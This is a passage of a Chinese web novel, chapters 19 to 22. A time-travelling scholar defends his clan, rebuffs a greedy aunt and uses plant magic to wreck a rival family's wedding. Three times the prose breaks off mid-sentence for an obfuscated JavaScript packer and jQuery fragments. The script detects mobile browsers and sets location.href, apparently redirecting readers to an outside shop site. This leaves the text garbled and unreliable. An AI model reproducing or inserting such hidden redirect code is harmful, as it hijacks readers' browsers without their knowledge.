“常言道:升米恩斗米仇,断不可让族人养成坐享其成的习惯,全族共进退和自食其力,才是我们韩氏立足之本。”
“这笔银钱暂且算族里借你的,等‘火柴作坊’赚了银子,再还给你。”
韩族长语重心长,字字恳切。
韩璋露出笑容:“好,都听族长爷爷的。”
19.第 19 章
因着祖上曾有过的荣光,韩族长等族中老人在子孙教育方面一直颇为用心。
虽也难免有重男轻女之俗,但韩氏对待家中的姑娘与哥儿,并不似别家那般轻贱,韩氏的姑娘哥儿们未出阁之前,日子大多过得都比较舒心。
因此,当族中提出让她们招婿入赘、留为本族开枝散叶时。
大部分被休弃、和离归家的姑娘与哥儿,都非常愿意!
毕竟,这世道嫁人后的日子,其中如何谁嫁谁知道,真正能过得顺心的人,实在不多。
招赘虽难免惹来些闲言碎语,可族中既愿撑腰,身边也不止自己一个人如此,留在娘家怎么都比二嫁当填房强;
当然,也有死脑筋不愿意,非要往外面嫁的。
这种人没办法,只能选择尊重他人命运。
确定大家意愿后,韩璋也不拖沓,花了一天时间,利用植物异能探听各家消息。
然后第三天,就带着族人径直找上那些把他们韩氏姑娘哥儿休弃、和离的人家,谈判孩子归属权。
其实也没什么好谈判的。
那些和离的还能商量一下,碍于孙员外权势,夫妻大难临头各自飞也正常,虽薄情,但到底留了几分余地。
但那些连招呼都不打、一封休书就甩出门的人家,摆明了是打他们韩氏一族的脸,这口气绝对不能忍!
毕竟和离与休妻,两者性质天差地别。
和离尚有挽尊余地,休妻却是指妻子夫郎犯了七出之条,会让娘家整个家族未婚姑娘哥儿受到质疑,后果非常严重。
所以。
韩璋也没跟这些人客气。
找上门后二话不说,先把那家的男人一个个揪出来,挨个痛揍一顿。
然后才甩出对方家中的隐秘和把柄威胁。
“把休书改成和离,嫁妆原封不动还回来,孩子归我们韩氏,再写一张断亲书——这事就算完。”
“否则,明日你们家那点丑事传遍十里八乡,可别怪我韩氏不留情面!”
嫁妆也是必须要回来的。
他们韩氏嫁姑娘哥儿,陪嫁在村里可算是很丰厚的,不能便宜这些混蛋玩意儿。
韩氏态度强硬,还拿捏把柄。
这些人家就算心中不服气,最后也只能选择低头,忿忿丢下几句狠话。
“孩子带走便带走!这臭婆娘生的,是不是老子的种还难说呢,老子不稀罕!老子想生娃,多的是婆娘、小哥儿抢着给老子生!”
然后……
这个嘴贱的汉子,就又被韩璋给揍了。
“虽说君子动口不动手,然孔圣亦曾教诲:必要时当以理服人。既然诸位执迷不悟,韩某今日便略加指点,助尔等开窍吧。”
打完人后。
佛道双修的韩璋还合掌来句:“阿弥陀佛,无量天尊——失礼了。”
很是有礼貌的样子。
众人:……
总之,在韩璋与族老们强势强势撑腰下,族中被休弃和离回家的姑娘哥儿们,情绪都被安抚了下来。
还有那些在城里干活被辞退的,也因为有‘火柴作坊’的利益吊着,暂时都把心中的怨言压了下去,老老实实听从族里的安排。
就在韩璋以为族里的问题已经暂时解决时,没想到还出了一个小插曲。
那就是原身嫁到城里的五姑姑,跑回家闹事了!
“五姑?”
韩璋突然从原身记忆中翻出这么个人,然后脸就绿了。
原因无它。
只因为这位五姑姑,实在是个不省心的主儿。
他先前还在庆幸自己运气不错,韩家上下大多团结和睦,不像其他穿越主角那般倒霉,摊上一堆糟心亲戚。
结果是把这个五姑姑给忘记了!
但这也不能怪他忘记,原身这位五姑姑自出嫁后便鲜少回娘家,逢年过节回来,也不过是吃顿饭便拎着大包小包匆匆离去,平日里几乎不见踪影。
每回她突然出现,那肯定就是来要银子的。
果不其然。
五姑姑回来就哭诉责怨:
“爹啊,娘啊,你们知不知道,你们可真是害死我了!”
“当初我就说过,把我家小姑子说给大郎,两家知根知底,门当户对多好?你们偏不听,非要大郎攀那高枝儿,娶孙家小姐。”
“如今倒好,高枝没攀上,反倒得罪了孙老爷。孙家一发话,族里多少姑娘哥儿都被休回了家,连我也受了牵累……”
“眼下公婆对我百般不满,相公也吵着要写休书,我……我可怎么活啊!你们快替我想想办法,凑些银两,买些体面东西,好让我去讨公婆欢心啊!”
“呜呜……爹、娘,你们若不帮我,我被休了,这辈子都不原谅你们……”
五姑姑在家里撒泼打滚哭嚎。
闹得不可开交。
听到消息也跑回家关心的韩四姑则很生气:“银子银子,五妹,家里都到什么光景了,你还想着银子?”
“你相公若真要休你,早把休书甩你脸上了,哪还容得你回娘家这般哭闹?”
“这些年来,爹娘明里暗里贴补你的还少吗?你还得寸进尺!”
四姑姑越说越气:“再说大郎的亲事,你还有脸提?你那小姑子是什么情形,你自己不清楚?”
“那姑娘早跟外头贵人牵扯不清,身子都不清不白了,你还想把她塞给大郎,你把咱们韩家的长孙当成什么人了?”
韩爷爷和韩奶奶膝下一共五个孩子。
三子二女,原身除了两个叔叔,便就是这两位姑姑。
四姑姑勤劳能干,与家人相处和睦;
但五姑姑或许是因家中最小的女儿,自幼体弱,得全家偏疼几分,养成了几分自私凉薄的性子。
而且,她还颇有些白眼狼的做派,但凡娘家有什么好东西,总是一股脑儿往婆家搬;可婆家那头有什么好处,韩家却从未见过半分孝敬。
甚至,平日里连句嘘寒问暖的话也难得听见。
之前她竟还动歪心思,打算拿原身的亲事去讨好夫家,实在白养了。
让韩爷爷和韩奶奶很是伤心。
可终究是亲生骨肉,两老即便心寒,却也不能不管。
韩爷爷愁着眉沉吟道。
“银子你就别惦记了,咱们家是拿不出来的,就像翠翠(四姑)说的,这些年看在你在城里过日子,怕你被婆家看轻,爹娘贴补了你多少?”
“明年大郎就要科考,眼下族里又惹上孙家这桩麻烦,连生计都艰难了。你这般不顾家里死活,是不是连娘家也不打算要了?”
“银子没有,但你婆家若真想休你,爹娘和你的哥哥们绝不会坐视不理,大郎好歹也是个秀才,咱们韩家,也不是任人揉捏的软柿子……”
五姑姑闻言又气又急。
“爹!您怎能这般对我?我相公可是衙门捕快,我嫁进城里,你们不也跟着沾光吗?家里贴补我一点,难道不是天经地义?”
“再说了,这回明明是家里的事连累了我!族里对那些被休弃、和离回家的姑娘哥儿,又是出钱又是出力,怎么轮到我了,反倒一点补偿都没有?我难道不是韩家
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16694386|188306||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
的女儿吗?”
得,这是眼红别人得了好处,她没有。
韩母在旁边看得心急,生怕二老心软,把儿子科考的钱给贴出去,连忙插话反驳:
“小姑子你能嫁去城里,确实是你有本事,可这些年来,我们沾你什么光了?”
“四姑子成亲的时候,陪嫁不过2两银子,可家里为了给你撑场面,硬是凑了十两银子做陪嫁!”
“当初说好了,场面撑完就把银子还回来,结果呢?银子一去不回,就剩你嘴上说得好听,害得咱们全家勒紧裤腰带熬了整整一年!连过年割肉都只敢买半斤!”
提起旧事,五姑姑有些心虚。
但并不多。
对方很快就理直气壮,再次强调:“我相公可是衙门捕快!四姐嫁的是乡野猎户,能跟我比吗?我陪嫁要是少了,丢的可是韩家的脸!”
“大嫂,今天说的是孙老爷那桩事儿,你别东拉西扯。总之,我在婆家受的委屈全是家里惹出来的,要是不补偿我十两八两的,我绝不罢休……”
说罢。
又一屁股坐在地上,扯开嗓子哭天抢地起来:“我的命好苦啊——娘家不疼婆家不爱啊——”
让韩家众人很头痛。
这若是外人,早就轰出去了,可这是自家小妹,又确实受了牵连,实在不好撕破脸。
五姑姑每次闹,就是吃定了韩家人看重亲情。
可惜她今天遇到了硬茬。
韩璋是半路穿过来的,并非从小在韩家长大的原主,对这个五姑姑可没什么情分可言,这种极品玩意儿休想拖他后腿!
五姑姑能撒泼卖惨。
他也有茶言茶语。
韩璋故作强颜欢笑道:“爷、奶,家里若还有余钱,就先帮五姑渡过难关吧。孙儿年纪尚轻,不过弱冠,再沉淀几年科考也不迟。总不能因孙儿的前程,让五姑在婆家难做人。”
此话一出,韩爷爷韩奶奶心马上就偏了。
大孙子年轻可以等,他们老两口可等不起,他们还想活着看大孙子光宗耀祖呢!
有出息又听话的大孙子,和胳膊肘往外拐、只会搜刮娘家的女儿。
选谁不言而喻。
韩爷爷当即板起脸:“没钱!家里一个子儿也没有!不行你就和离回来,爹娘养你!”
韩奶奶也拍着大腿道:“老五,你之前从家里拿的银子,口口声声说是借的,现在也该还了!正好大郎科考的钱还没凑齐,走,咱这就去你婆家要钱!”
“也让你婆家的街坊四邻评评理,看看有没有嫁出去的女儿,天天回娘家掏底的!”
二老不仅不给钱,反倒讨起旧账来。
韩五姑:……
吃进肚子的肉,哪还有吐出来的道理?
“那个……爹、娘,家里还有事,我、我先回去了,改天再来看你们!”
心虚的韩五姑脚底抹油,溜得比兔子还快。
临走前还不忘顺手把厨房挂的腊肉捎上,生怕少吃娘家两口肉。
急得韩奶奶在后面大喊:“死妮子,你给我回来!把肉放下!那是给大郎补身子的,你不能拿啊!”
韩家孙辈们也撒腿追上去:“五姑,把大兄的肉还回来!那是大兄的肉!”
一群半大少年少女把韩五姑逮住,双方就此进行了一场拳脚大战。
最后青少年组以绝对人数优势获胜,韩五姑双拳不敌四手,顶着一脸抓痕,骂骂咧咧走人。
腊肉拥有者·韩璋:……
弟弟妹妹干得很好,就是下次别再干了,怪不好意思的。
20.第 20 章
都说好竹出歹笋,歹笋出好竹。
韩璋觉得有些老话,还是有道理的,整个韩家其他人都非常不错,唯独原身这个五姑姑就跟基因突变似的,格格不入。
不止自私的性格,就连长相也没有家里其他人好。
要知道,韩家以前也算是名门望族,基因经过代代优化,韩爷爷和韩族长等老兄弟们,长得都非常英俊。
所以,韩氏后辈们,一个个模样在十里八乡都是出名的俊俏。
但韩五姑的长相,却只能算周正,连清秀都达不到。
至于对方相貌不足,为什么还能嫁给城里捕快?
——这就只能说韩五姑有手段了,就像孙小姐不喜欢原身,更喜欢油嘴滑舌的罗秀才那样。
作为看过现代网络无数狗血的韩璋,忍了又忍。
最后还是没忍住询问:“阿爷阿奶,五姑真是你们亲生的吗?不会是被人换了吧,我觉得她长相性格,跟咱们家人一点像的地方都没有。”
虽说这可能性微乎其微——韩家这般破落农户谁稀罕?
可天下之大,无奇不有,万一呢?
韩家众人闻言愣住。
韩爷爷和韩奶奶也被问住了,迟疑道:“不、不能吧……珍丫头是在家里落的地,接生时也没出什么岔子。再说咱这家境,哪值得别人费这心思……”
“理是这么个理。”韩璋点头,像是自言自语般又轻声接了一句,“可五姑的模样,确实跟咱们家里人都不太像……”
说罢。
他便敛口不再多言。
因为甭管这个猜测是真是假,他都要把它变成“真的”。
原身这个五姑明摆着就是个毒瘤,他既决心日后踏入官场,就绝不能留下这等明显拖后腿的隐患!
说他恶毒也好,狠辣也罢。
他韩璋能走到今天,就不可能是那真正良善之人。
不过。
现在不是处理五姑的时候,解决了族里被休弃和离的姑娘哥儿们问题,还有孙员外和罗氏虎视眈眈呢。
这些人已经对韩氏下死手,还想断他手脚,让他变成残废。
他若不报复回去,实在道心不稳。
只是怎么报复,还需要细细思量,不能做得太明显。
否则日后未来岳父调查他时,发现他出手太过狠辣,与传闻中温润如玉的形象大相径庭,觉得他难以掌控,不肯将漂亮夫郎许配于他怎么办?
如此思量一番。
听闻数日后就是罗秀才和孙小姐成亲的日子……
韩璋看着自己指尖流转的植物异能,嘴角浮起一抹浅笑,顿时有了好主意!
没错。
他打算用植物异能搞事情。
古人敬畏鬼神,但凡牵扯玄异天象,事情可大可小。
倘若孙、罗两家大喜之日,竟出现“天降异兆”,酿成不吉之果——那可怪不到他这个寒门书生头上。
……
想好就做。
韩璋明面上佯装不敌孙家权势,先安抚好受牵连的族人,随即摆出一副忍辱负重、誓要奋发图强的模样,返回书院继续用功读书。
但转过头,就改头换面跑去孙家的宅邸踩点,清点宅邸的花草数量。
没办法,他的植物异能虽然跟着穿越了,可等级也跟着退化了,没有末世那么厉害,现在能够操纵的植物数量有限,需要好好规划一番。
就这么筹备等待几天后。
孙、罗两家结亲的日子终于到来。
孙家本就是这十里八乡的大户,族中又有人在朝为官,孙员外与那位当官的族兄更是交情匪浅,此番喜宴自是宾客云集,热闹非凡。
就连那位在朝当官的孙家族兄,也特地告假,亲自登门道贺——场面真是好不风光!
攀上高枝的罗家众人,个个眉飞色舞,得意非常。
罗母更是按捺不住,又一次晃到韩家门前,话里带刺地炫耀起来:
“哎哟,韩六爷、韩六婶、大郎他娘……你们怎么还在屋里闷坐,不去咱家喝喜酒呀?”
“都是乡邻一场,我家郢郎今儿娶的可是孙家千金,那排场、那气派,你们说什么也得来捧个人场、凑个热闹,多喝两杯才是呀!”
“难不成……是因你家大郎没求成孙家这门亲,脸上挂不住啦?”
“哎,这有什么!亲事不成,乡邻情分还在嘛。再说,你们大郎比起我家郢郎,确实还差那么一截儿,孙小姐瞧不上,也不奇怪。”
“做人呐,还是得心里有数,不然可不就闹笑话了嘛,韩六婶你说是不是?”
罗母越说越得意,字字带笑,句句含讽。
从前韩家大郎处处压她儿子一头,如今在婚事上扳回一城,她可算扬眉吐气了!
但韩家人也不是任人拿捏的软柿子。
一听她竟敢贬低自家大孙子,韩奶奶顿时精神抖擞,叉腰便骂了回去:
“怎么着怎么着,你儿子就是不如我大孙子出息!不服气叫你儿子也在书院回回考前几名啊?娶个好亲事有什么了不起?好男儿自当顶天立地,靠自个儿本事。”
“再说了,你家那是娶亲吗?低三下四捧着孙家,跟入赘有什么两样!”
韩母也叉腰帮腔:“亲事再好,贡院里考的也是真才实学。三十年河东三十年河西,风水轮流转,罗郢他娘,我劝你别笑得太早,当心乐极生悲……”
“哎哟,对了,你知道‘乐极生悲’是啥意思不?你肯定不知道——毕竟你儿子回家几时跟你亲近过?哪像我家大郎,孝顺懂事,帮家里干活、抄书挣钱,还教我认字儿呢!”
婆媳俩一唱一和,气势半点不输,压根不把罗母炫耀与孙家权势放在眼里。
既然早已撕破脸,孙家又处处针对韩家,她们何必再忍这口恶气?
这死婆娘敢嘲讽她们的儿子、孙子,看她们扎不死她的心!
罗母的确被扎心了。
因为韩家大郎确实比郢郎更体贴家人,她就算再生气,也反驳不了大家都能看见的事实。
“你们……哼,你们就是眼红我儿子娶了孙家小姐,嫉妒我们家就要发达了!”
“我不跟你们一般见识,今儿家里还有官夫人要招呼,你们不来也好,省得丢人!”
罗母脸色青白交加,气呼呼撂下话,扭身挽尊走人。
等回去后。
原想炫耀一番却反被气到的罗母越想越不甘,最后一咬牙,从荷包里掏出二两银子,径直去找那几位吹喇叭的唢呐匠。
“你们再找几个人,一会儿迎亲路上给我铆足了劲儿吹!非让十里八乡今日都听见我们罗家的喜气,眼红死韩家那
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16703088|188306||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
群人!”
唢呐匠们乐呵呵收了赏钱,拍着胸脯满口应下。
“好嘞,婶子您就放一百个心!咱们干这行十几年,别的没有,就是中气足、调门高!保管给您吹得热热闹闹,连山那边的庄子都听得真真儿的!”
罗秀才知晓母亲的行为后,也并没有阻止,因为他今日也想好好出个风头。
于是。
在唢呐匠们卖力的吹吹打打中,罗秀才骑着孙家备好的高头大马,在越聚越多的乡邻围观之下,风风光光、热热闹闹地来到了孙宅门前迎亲。
“岳父大人在上,小婿罗郢,特来迎娶令爱……”
罗秀才拱手一礼,语气恭敬。
孙员外心里不太看得起这个女婿,但大喜之日,众目睽睽,他也只得堆起满脸笑意,捋着胡须,笑呵呵喊着“贤婿”,依着礼数在门前与他寒暄客套了几句。
场面很是喜庆和睦。
而韩璋就改头换面躲在人群中,耐心等时机。
直到孙家小姐被媒婆搀出府门,与罗秀才共执红绸,正要起身之际——
突然,孙家宅邸周围的花草树木,竟在众目睽睽之下瞬间枯萎凋零!
只剩下光秃秃、死气沉沉的枝干指向天空。
“哎呀!快看!花……花草全枯了!”
“天爷啊!这……这是天降异象啊!”
“什么异象,分明是天谴!不止花草,连周围的大树都瞬间枯死了!”
人群顿时哗然惊叫,吓得纷纷后退。
草木顷刻凋亡,任谁看都不是吉兆。
“怎会如此?!”
“完了…这下全完了……”
罗家与孙家之人个个面如土色,更有胆小的直接腿软瘫坐在地。
天子脚下,皇威浩荡,两家结亲竟出现不祥之兆,此事若传扬出去,即便不死,也要脱几层皮啊。
尤其在朝为官的孙大人,几乎当场晕厥。
这口黑锅绝不能背!一旦被冠上“天谴”和“不祥”之名,整个孙氏家族都将遭殃,他自己的乌纱帽更是明日就不保。
死脑壳,快想办法,快想!
孙大人额上青筋暴跳,心念飞速盘算,思索脱身之策。
罗秀才同样冷汗涔涔,脑中急转。他好歹是个秀才,饱读诗书,怎能不明白这番异象带来的后果?
电光石火间,姜还是老的辣。
老谋深算的孙大人抢先发难,指着罗家众人厉声斥道:
“定是你罗家行径不端,有违天道人伦!才惹得天怒人怨!”
“今日我孙家祖宗有灵,降此异象警示,就是为了阻止这门亲事,免得我清白门第受尔等龌龊之家连累!”
罗氏众人闻言脸色骤变,气得眼珠都快瞪出来了。
孙家好生无耻,竟想把责任全部推到他们罗氏头顶!
这等罪名罗氏自然不能认。
罗秀才当即挺身而出,高声反驳:
“孙大人休得血口喷人,颠倒黑白!异象分明是出在你孙家门前,毁的是你孙家的草木!”
“依我看,分明是你孙家为富不仁、多行不义,惹得天怒人怨!今日是我罗氏祖宗显灵,降下警示,不允我罗郢与尔等禽兽之家结亲才对!”
一时间,两家当众撕破脸皮,狗咬狗相互推诿罪责。
21.第 21 章
不祥之名带来的后果实在太严重了。
孙、罗两家谁也不想背上这口黑锅,双方就这般在大庭广众之下吵得不可开交。
罗郢真是后悔死当初选择攀孙家的高枝了。
他觉得今日异象肯定是孙家的问题,毕竟孙家这种大户,私下里谁知道做了多少为富不仁的龌龊事,被天谴很正常。
反观他们罗氏小小寒门,素日除了与人口角之争,可是安安分分的良民。
所以,这绝对是孙家的问题!
而孙家这边,同样也觉得是罗氏有问题,觉得罗郢是个晦气玩意儿。
若说作恶有报,他们孙家从前所为,要报应早该报了,怎会偏偏选在与罗家结亲的这一日?哪有这般巧合?
总之,公说公有理,婆说婆有理。
最后婚事自然告吹,两家不欢而散,各自返家商议应对之策。
至于封锁消息?
这根本不可能,因为罗家想要风光炫耀的操作,迎亲时引来众多村民围观,众目睽睽,众口嚣嚣,莫说孙家,纵是皇帝亲临也难堵悠悠众口。
不出意外,晚上都还没到,孙罗两家结亲时花木尽枯的异闻,就传遍了整个京城,成为街头巷尾的热议。
“诶,听说了吗?京郊上坡村有个孙员外,今日嫁女家中出现异象,花草树木竟然在一瞬间全部枯死了……”
“真的?红事见白萎,花木尽凋零……这可不是什么好兆头,实乃大凶之兆啊!”
“千真万确!当时罗家迎亲的阵仗大,多少村民都亲眼瞧见了,那景象,邪门得很!也不知孙家是造了什么孽,还是暗地里做了亏心事,竟招来如此天谴……”
“啧啧,这谁知道呢?那些个高门大户,表面光鲜,背地里为富不仁、伤天害理的勾当,谁又说得清呢?”
京中流言四起,风向几乎一边倒地对孙家不利。,大部分都在猜测孙家有问题。
这自然不是孙家倒霉,而是孙家得罪过的人,以及孙大人的政敌推波助澜效果。
不仅如此。
不等孙家想出对策,第二日孙大人上朝时,就被御史给参奏了。
与他素有嫌隙的官员更是趁机出手,呈上连夜罗织的罪证。
“好一个国子监孙博士!朕命你在国子监教导学子,你竟敢背地里作恶多端,还纵容族人欺压乡里——简直枉为人师!”
“难怪天象示警,降罚于你孙家!来人,将他拖下去,即日革去官职,押送大理寺依律查办。孙氏一族其余人等,家产查抄,一律流放三千里……”
老皇帝大手一挥,根本不容孙大人辩白,便命人将其押出朝堂。
不过一个从六品小官而已,他换得起。
而天降异象之事,若不尽快平息,任由流言滋长,若被有心之人利用,说是他这个皇帝的问题咋办?
到时候,别说动摇皇位,便是下罪己诏,他都得呕死。
“冤枉啊陛下,是那罗家,定是那罗家不祥……”
孙大人哭喊着被押送天牢受审。
孙氏全族,连同孙员外一家,自然也于当日锒铛入狱。
昨日还在上坡村一带呼风唤雨的孙家,一夕之间轰然倒塌。
当真是世事无常。
而罗家这边虽然不是流言中心,但情况同样也没好到哪里去。
“不祥”这个名声在古代实在太忌讳了,就算罪名被孙家顶了下来,罗家也难免受到牵连——谁让异象是两家结亲当日发生的呢?
所以,这下轮到罗家成为十里八乡避之不及的对象。
不仅已嫁出去的罗家女儿、哥儿皆受连累,罗郢也被书院给劝退了,顶着不祥之名,此生科考无望。
罗郢当场呕血,被人抬回家中。
“怎么会这样……好好的一门亲事,怎会落到如此地步……”
罗母瘫坐于家门口,哀哭不止。
一家人省吃俭用十几年,好不容易供出一个读书人,如今希望尽碎,所有心血全成了空。
罗氏的族长宗亲们也是满脸愁容,唉声叹气。
沾染上如此名声,他们罗氏起码未来二三十年,都别想再有翻身的机会了。
……
韩家。
听到罗氏和孙家的下场,韩家人高兴肯定是高兴的。
毕竟,之前罗氏撺掇孙员外对他们的迫害还历历在目,族中那些被休弃、和离归家的姑娘哥儿尚未安顿妥当,仇人落魄,大家自然畅快。
但除了高兴外,韩爷爷更多还是世事沧桑的唏嘘。
“当真世事无常啊……老头子至今还记得,当年咱们韩家也是何等风光?结果也是一夕之间就倾覆。”
“那时叛军破城,府中财物遭劫,族人四散凋零……最后只剩我与族长几个半大少年,狼狈逃出故土……”
韩爷爷怅然回忆道。
韩父等人没见过家族繁盛、钟鸣鼎食的光景,实在不能理会老父亲追忆往昔、感怀门庭零落的苍凉。
众人只能温声劝慰。
“爹,您宽宽心。如今咱们家有大郎,大郎勤学善读,待他日金榜题名,必能重振门楣。到时定能让您再住进高门大院,看那奴仆成群的景象。”
韩璋也跟着安慰老头:“阿爷您放心,孙儿一定努力读书,光耀门楣。”
不努力不行,他也受不了现在的穷困生活。
孙家结局虽然在他预料之中,但真正结果出来,他心里也难免有些兔死狐悲。
考科举,必须考科举。
在这世道,想要过上好日子,不仅要有钱,更要有权!
韩爷爷看着出息的孙子欣慰笑,眼角皱纹舒展。
“好,好!阿爷信你,咱们家大郎将来必能高中进士,重振家声,阿爷等着看大郎来日打马游街,风光的
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16707264|188306||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
那一天。”
笑过之后,韩爷爷的神色又语重心长地叮嘱:
“不过,家族责任虽重,大郎也须谨记,凡事不可操之过急,得势时更不可得意忘形。罗氏之所以落得今日结局,与他们平素行事张扬、不知收敛大有关系……”
“先前阿爷总盼你早日娶个有权有势的贤惠夫郎,好给你多些助力,如今想来,确是心急了。”
“姻亲之事,半点马虎不得,宁缺毋滥。你切莫因家中眼下困顿,就如罗郢那般攀附他人,反遭其累。阿爷只愿你步步踏实,走得稳妥些……”
孙家与罗氏的结局,无疑给韩氏敲响了警钟。
韩爷爷也担心孙子因急于改变现状,重蹈罗家秀才的覆辙,被姻亲所累。
韩璋:……有没有可能,孙家是被他们“好女婿”给坑的?
“阿爷放心,孙儿明白。您和阿奶好好保重身子,孙儿绝不辜负二老厚望。”
韩璋点头,只郑重道,并没有过多承诺。
因为他也不知道自己能做到什么地步,与其胡乱承诺让人失望,不如拿实际行动证明。
然后……
韩璋的实际行动,就是继续吃软饭。
因为这条路对寒门书生来说,真的是太香了。
他这人比较贪心,少奋斗二十年的诱惑,他实在忍不住。
所以,解决完家里的危机后,韩璋回到书院,就又搜肠刮肚给沈清澜写了一封“情书”,顺带还有一盆兰花过去。
【……早前听闻贤弟四处替主家寻找名贵花草,愚兄虽不才,与花铺掌柜学得莳花之道,近日践行一二,正巧培育出一株“千手观音”,不知可否替贤弟解忧?】
【……近日未曾写信与贤弟,皆因家中事务缠身,还请贤弟莫要责怨愚兄。】
【贤弟莫笑,近来家中困境,冒昧求问贤弟主家可还需花草?若有所需,还请贤弟代为引荐一二。】
【昨夜独坐轩窗,见新月如钩,忽忆上次与弟街头畅聊……海内存知己,天涯若比邻,几日不曾通信,甚是想念贤弟……】
【人生得意须尽欢,莫使金樽空对月……下次相约,定与贤弟斗酒三百杯,不辜负人生快意!】
字里行间既表达了强烈的思念之情,悄悄撩拨小哥儿的芳心;
又说出有事相求,用求人办事掩饰自己的勾引行径;
韩璋看完自己绞尽脑汁写的情书很满意,最后又拿薄荷雪松熏香,把信纸熏了一下,让书信沾染上熟悉香味,方便小哥儿想起自己英俊不凡的形象。
这才把信和兰花送到书斋去。
钓鱼行动第二步:抛砖引玉。
鸿雁传书固然美妙,但想继续加深感情,还得见面忽悠才行。
他的漂亮夫郎,应该也想他了吧?
韩璋想起上次书斋见面时,小哥儿害羞又呆傻的模样,眼里忍不住浮起笑意。
22.第 22 章
韩璋给沈清澜送兰花,除了找借口掩饰他勾引人家哥儿的行径外,也确实是想通过沈府人脉,贩卖名贵花草赚钱。
因为族里的‘火柴作坊’目前还在备货阶段,暂时没办法盈利,先前他给族长的那几十两银子,也根本不够安置族中被休弃、和离的姑娘哥儿们。
得想法子尽快大赚一笔,才能完全解决韩氏目前的困境。
而贩卖名贵花草,就是个来钱又快又合理的好主意。
沈府。
如韩璋所料,一连数日未曾收到他书信的沈清澜,此刻的确正没精打采地伏在院中石桌上,满心满眼都在思念他。
“巧东巧西,巧南巧北,你们说韩兄近来究竟在忙些什么?为什么好几日都不给我写信了?莫不是上回我在信里同他闹小脾气,惹他厌烦了?”
“可我不过是玩笑几句罢了,他应是明白的呀……之前他还夸我真性情来着……”
“也不知我送他的那些书,他喜不喜欢?那可是我特意从父亲书房里挑的,听说对科举大有裨益……”
“唉,韩兄真是讨厌!纵是课业再忙,抽不出空写信,捎些小物件来也好呀。”
“不拘是零嘴儿还是小玩意儿,哪怕随手折的一枝花也行,总得让我知道他也惦念我嘛……”
沈清澜闷闷不乐,执起小勺一下下戳着碗中甜水,跟自己的四个贴身小侍抱怨。
连素日最贪的吃食摆在眼前,此刻都不香了。
巧东巧西还有巧南巧北闻言对视,心中很是无奈。
他们承认那韩秀才确实生得俊朗,还才华横溢,是个顶出色的好儿郎。
可京城之中,难道就少了才貌双全、风度翩翩,又家世显赫的男子吗?
怎么自家公子偏就被这韩秀才给迷得神魂颠倒、七荤八素呢?
人家才几日没来信而已,看把公子给急的!
四人心中蛐蛐,但食君之禄担君之忧,嘴上也只能拣些宽心的话来说。
巧东:“公子,不过几日未得音信罢了,实属寻常。韩郎君又不知您哥儿身份,只当是寻常兄弟相交,天下哪有兄弟之间日日黏糊传书的道理?”
巧西:“正是如此,公子切莫心急。您瞧韩郎君前次随信捎来的那些小玩意儿,皆是他亲手所制,这份心意,足见公子在他心中的分量……”
巧南:“况且韩郎君家境清寒,平日除了苦读备考,还需写话本挣些银钱糊口,又得去花铺学习莳花品鉴,诸事缠身,一时未能顾及书信,也是情有可原……”
巧北:“公子若实在挂心,不如趁这时辰翻几本科举文章,日后与韩郎君交谈时,也能更投机几分……”
至于提议沈清澜主动出门去寻人——那是断断不可能的。
他们没有将公子与人私传书信之事上报,已是担了风险,又怎会再主动牵线搭桥?
反而恨不得韩璋那边真出什么岔子,让公子早日断了这份念想好!
但这期盼显然是不可能成功的。
不说韩璋那边如何,就说沈清澜日日惦记韩璋,都快把他们以后孩子的名字给起好了,哪能轻易放弃。
几人劝慰的话一点都没有宽慰到沈清澜不说,还全拍到了马腿上。
“寻常兄弟是不会日日黏着传信,可我与韩兄是寻常兄弟么?我可是他最最最好的贤弟!他之前明明最多不过两日,就会给我回信的,如今都五六日了……”
“韩兄明知我性情,应当不会因我使小性子,就烦我吧?莫不是他遇上了什么麻烦,脱不开身?”
“定是如此,韩兄那般好的人,怎会无缘无故与我断了联系。不成,巧东巧南,你们速去寻王掌柜,让他去向南书院打听打听……”
“罢了,还是我亲自走一遭,若韩兄真有什么难处,我也好立刻替他周旋!”
沈清澜坚决不承认韩璋没有回信是他的原因,只自顾自说话,越说越是心焦。
又想溜出门去找人了。
“公子不可……”
巧东几人大惊阻拦。
好在没有纠结太久,韩璋的书信和兰花,就被王掌柜差人送来了。
“公子,是韩郎君的信,韩郎君还捎来一盆兰花,是很名贵的‘千手观音’莲瓣兰呢!”
巧南抱着东西跑回来报喜。
沈清澜立马阴云变晴,又傲娇起来:“我就知道韩兄也念着我。”
说罢,他便满怀期待展开信笺细读起来。
待看完信中内容后。
沈清澜松口气,又忧心道:“我就说韩兄这些时日未曾来信,定是遇上了什么麻烦,果真如此!”
